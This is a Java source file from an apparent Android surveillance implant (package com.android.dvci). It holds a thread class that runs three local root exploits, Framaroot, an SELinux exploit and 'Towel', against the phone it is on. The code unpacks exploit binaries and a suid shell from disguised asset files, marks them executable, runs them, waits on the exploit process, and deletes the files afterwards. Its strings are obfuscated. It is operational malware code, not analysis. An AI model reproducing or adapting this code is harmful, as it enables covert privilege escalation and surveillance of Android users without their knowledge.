package com.android.dvci; import com.android.dvci.auto.Cfg; import com.android.dvci.capabilities.PackageInfo; import com.android.dvci.file.AutoFile; import com.android.dvci.util.Check; import com.android.dvci.util.Execute; import com.android.dvci.util.Utils; import com.android.mm.M; import java.io.BufferedReader; import java.io.File; import java.io.IOException; import java.io.InputStream; import java.io.InputStreamReader; import java.util.concurrent.Semaphore; import java.util.regex.Matcher; import java.util.regex.Pattern; /** * Created by zeno on 21/08/14. */ class LinuxExploitThread implements Runnable { private static final String TAG = "selinuxExploitThread"; private final boolean frama; private final boolean selinux; private final boolean towel; Semaphore semaphore = new Semaphore(1); public LinuxExploitThread(boolean frama, boolean selinux, boolean towel) { this.frama = frama; this.selinux = selinux; this.towel = towel; } @Override public void run() { try { if (!semaphore.tryAcquire()) { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone), already exploiting"); } return; } if (frama) { if (Root.checkFramarootExploitability()) { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone): Device seems frama exploitable"); //$NON-NLS-1$ } Root.method = M.e("framaroot"); runFramalinuxExploit(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone), not exploitable by Framaroot"); } } } if (selinux && PackageInfo.checkRoot() == false) { if (Root.checkSELinuxExploitability()) { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone): SELinux Device seems locally exploitable"); //$NON-NLS-1$ } Root.method = M.e("selinux"); runSelinuxExploit(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone), not exploitable by Selinux"); } } } if (towel && PackageInfo.checkRoot() == false) { if (Root.checkTowelExploitability()) { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone): Device seems Towel locally exploitable"); //$NON-NLS-1$ } Root.method = M.e("towel"); runTowelExploit(); } else { if (Cfg.DEBUG) { Check.log(TAG + " (exploitPhone), not exploitable by towel"); } } } } finally { semaphore.release(); } } public void runFramalinuxExploit() { final File filesPath = Status.getAppContext().getFilesDir(); final String path = filesPath.getAbsolutePath(); final String localExploit = M.e("l"); try { Utils.dumpAsset(M.e("lb.data"), localExploit); Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + localExploit); // Unpack the suid shell final String suidShell = M.e("ss"); // suid shell // preprocess/suidext Utils.dumpAsset(M.e("sb.data"), suidShell); Execute.execute(M.e("/system/bin/chmod 755 ") + path + "/" + suidShell); // Create the rooting script String pack = Status.getAppContext().getPackageName(); Execute.execute(String.format(M.e("/data/data/%s/files/l /data/data/%s/files/ss rt"), pack, pack)); File file = new File(Status.getAppContext().getFilesDir(), localExploit); file.delete(); file = new File(Status.getAppContext().getFilesDir(), suidShell); file.delete(); } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (framarootExploit): Exception"); //$NON-NLS-1$ } } } /** * checks if a pid is running, * * @param pid * the pid to search */ static boolean pidAlive(String pid){ AutoFile file = new AutoFile(M.e("/proc/"), pid); if(file!=null && file.exists()){ return true; } return false; } /** * checks if the Selinux exploit is running, * * @param pid * the selinux pid * Note: here we know that once the exploit succeeds * its process cmdline changes from whateverisnamedthexex to "event_handler". * So to know when the selinux succeeds or not, we check both for the pid availability * and its name. */ static boolean pidSeExAlive(String pid){ final Pattern pattern = Pattern.compile(M.e("event_handler")); if(pidAlive(pid)){ try { String stat = AutoFile.getFileContents( M.e("/proc/")+pid+"/" + M.e("stat")); Matcher matcher = pattern.matcher(stat); if (matcher.find()) { return false; } }catch(Exception e1){ if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (pidSeExAlive): Exception"); //$NON-NLS-1$ } } return true; } return false; } /** * Returns the pid of a matching line of the ps command, null * if not found * * @param lookFor * the string to search for */ static String pidOf(String lookFor) { String line; //Executable file name of the application to check. String pid=null; boolean applicationIsOk = false; //Running command that will get all the working processes. Process proc = null; try { proc = Runtime.getRuntime().exec("ps"); } catch (IOException e) { e.printStackTrace(); } if(proc != null) { InputStream stream = proc.getInputStream(); BufferedReader reader = new BufferedReader(new InputStreamReader(stream)); //Parsing the input stream. try { while ((line = reader.readLine()) != null) { Pattern pattern = Pattern.compile(lookFor); Matcher matcher = pattern.matcher(line); if (matcher.find()) { if (Cfg.DEBUG) { Check.log(TAG + " (pidOf): find=" + lookFor + "in:\n" + line); } //esempio u0_a72 24334 1 5900 5280 ffffffff 00000000 R /data/data/com.android.dvci/files/vs String[] splited = line.split("\\s+"); if(splited.length>3){ int p = -1; try { p = Integer.parseInt(splited[1]); }catch(NumberFormatException nf){ if (Cfg.DEBUG) { Check.log(TAG + " (pidOf): failure parsing:"+splited[1]); } } if(p>0){ pid = new String(splited[1]); } } break; } } } catch (IOException e) { e.printStackTrace(); } } return pid; } public void runSelinuxExploit() { final File filesPath = Status.getAppContext().getFilesDir(); final String path = filesPath.getAbsolutePath(); final String localExploit = M.e("vs"); // selinux_exploit final String selinuxSuidext = M.e("qj"); // selinux_suidext final String suidext = M.e("ss"); // suidext (standard) AutoFile vs = new AutoFile(path, localExploit); if (vs.exists()) { if(checkSelinuxExecution(path+"/"+localExploit)) { if (Cfg.DEBUG) { Check.log(TAG + " (runSelinuxExploit) localexploit was already running"); } return; } } try { Utils.dumpAsset(M.e("gb.data"), localExploit); // selinux_exploit Utils.dumpAsset(M.e("jb.data"), selinuxSuidext);// selinux_suidext Utils.dumpAsset(M.e("sb.data"), suidext);// suidext String args = String.format(M.e("%s/%s %s/%s %s/%s"), path, localExploit, path, selinuxSuidext, path, suidext); Execute.execute(M.e("/system/bin/chmod 755 ") + args); // Run SELinux exploit // - argv[1]: path assoluto alla nuova shell // - argv[2]: path assoluto alla vecchia shell //String pack = Status.getAppContext().getPackageName(); if (Cfg.DEBUG) { Check.log(TAG + " (runSelinuxExploit), executing exploit"); } int ret = Execute.executeSimple(args).exitCode; if (Cfg.DEBUG) { Check.log(TAG + " (runSelinuxExploit), execution result: " + ret); } checkSelinuxExecution(path+"/"+localExploit); } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (runSelinuxExploit): Exception"); //$NON-NLS-1$ } return; } finally { File file = new File(path, localExploit); file.delete(); file = new File(path, selinuxSuidext); file.delete(); file = new File(path, suidext); file.delete(); } } private void runTowelExploit() { final File filesPath = Status.getAppContext().getFilesDir(); final String path = filesPath.getAbsolutePath(); final String localExploit = M.e("vs"); // selinux4_exploit final String selinuxSuidext = M.e("qj"); // selinux_suidext final String suidext = M.e("ss"); // suidext (standard) AutoFile vs = new AutoFile(path, localExploit); if (vs.exists()) { if(checkSelinuxExecution(path+"/"+localExploit)) { if (Cfg.DEBUG) { Check.log(TAG + " (runTowelExploit) localexploit was already running"); } return; } } try { Utils.dumpAsset(M.e("ob.data"), localExploit); // selinux4_exploit Utils.dumpAsset(M.e("jb.data"), selinuxSuidext);// selinux_suidext Utils.dumpAsset(M.e("sb.data"), suidext);// suidext String args = String.format(M.e("%s/%s %s/%s %s/%s"), path, localExploit, path, selinuxSuidext, path, suidext); Execute.execute(M.e("/system/bin/chmod 755 ") + args); // Run SELinux exploit // - argv[1]: path assoluto alla nuova shell // - argv[2]: path assoluto alla vecchia shell //String pack = Status.getAppContext().getPackageName(); if (Cfg.DEBUG) { Check.log(TAG + " (runTowelExploit), executing exploit"); } int ret = Execute.executeSimple(args).exitCode; if (Cfg.DEBUG) { Check.log(TAG + " (runTowelExploit), execution result: " + ret); } checkSelinuxExecution(path+"/"+localExploit); } catch (final Exception e1) { if (Cfg.EXCEPTION) { Check.log(e1); } if (Cfg.DEBUG) { Check.log(e1);//$NON-NLS-1$ Check.log(TAG + " (runTowelExploit): Exception"); //$NON-NLS-1$ } return; } finally { File file = new File(path, localExploit); file.delete(); file = new File(path, selinuxSuidext); file.delete(); file = new File(path, suidext); file.delete(); } } private boolean checkSelinuxExecution(String executable) { String forked= pidOf(executable); if(forked!=null) { if (Cfg.DEBUG) { Check.log(TAG + " (runSelinuxExploit): lets wait forked pid "+forked+" to exit"); } /* wait for 10min max to see if exploits ends*/ long startedAt = System.currentTimeMillis(); long _10minDelta = 10*60*(1000); while((System.currentTimeMillis()-startedAt<(_10minDelta)) && pidSeExAlive(forked)){ try{ if (Cfg.DEBUG) { Check.log(TAG + " (runSelinuxExploit):forked exploit still running"); } Thread.sleep(1000*10); }catch (Exception e){ if (Cfg.EXCEPTION) { Check.log(e); } } } return true; } return false; } }